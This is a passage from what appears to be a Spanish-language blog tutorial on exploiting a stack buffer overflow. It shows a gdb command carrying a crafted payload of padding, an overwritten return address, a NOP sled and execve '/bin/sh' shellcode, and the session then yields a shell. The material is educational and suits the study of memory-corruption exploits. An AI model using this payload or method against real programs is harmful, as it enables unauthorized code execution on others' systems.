Ops!!, que interesante, encontramos nuestros “\x41″, los “\x61″ correspondientes a la nueva dirección de retorno, y finalmente los NOP (“\x90″), más una parte de la shellcode. Bien ya conocemos a donde tiene que apuntar nuestra nueva dirección de retorno, a 0xbffff2c0, ya que alli comienzan los NOP. Así que ahora simplemente modificamos eso en el string que le estabamos tirando al programa vulnerable. Empezando de atras hacia adelante, deberia quedar así “\xc0\xf2\xff\xbf” .

(gdb) r `python -c 'print "\x41"*24+"\xc0\xf2\xff\xbf"+"\x90"*75
+"\x41\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3
\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
Pintar : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��A1�Ph//shh/bin��PS�̀
Buffer: 0xbfffefe4
Otro: 0xbffff2a3
Executing new program: /bin/bash
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
sh-3.2$

Y hemos ganado la shell :-) , este es solo un ejemplo, pero que demuestra claramente el proceso mediante el cual se puede explotear algo. No realizen este experimento sin la supervisión de un adulto.

Tags: , , , , ,

Creative Commons License
Esta obra es publicada bajo una licencia Creative Commons.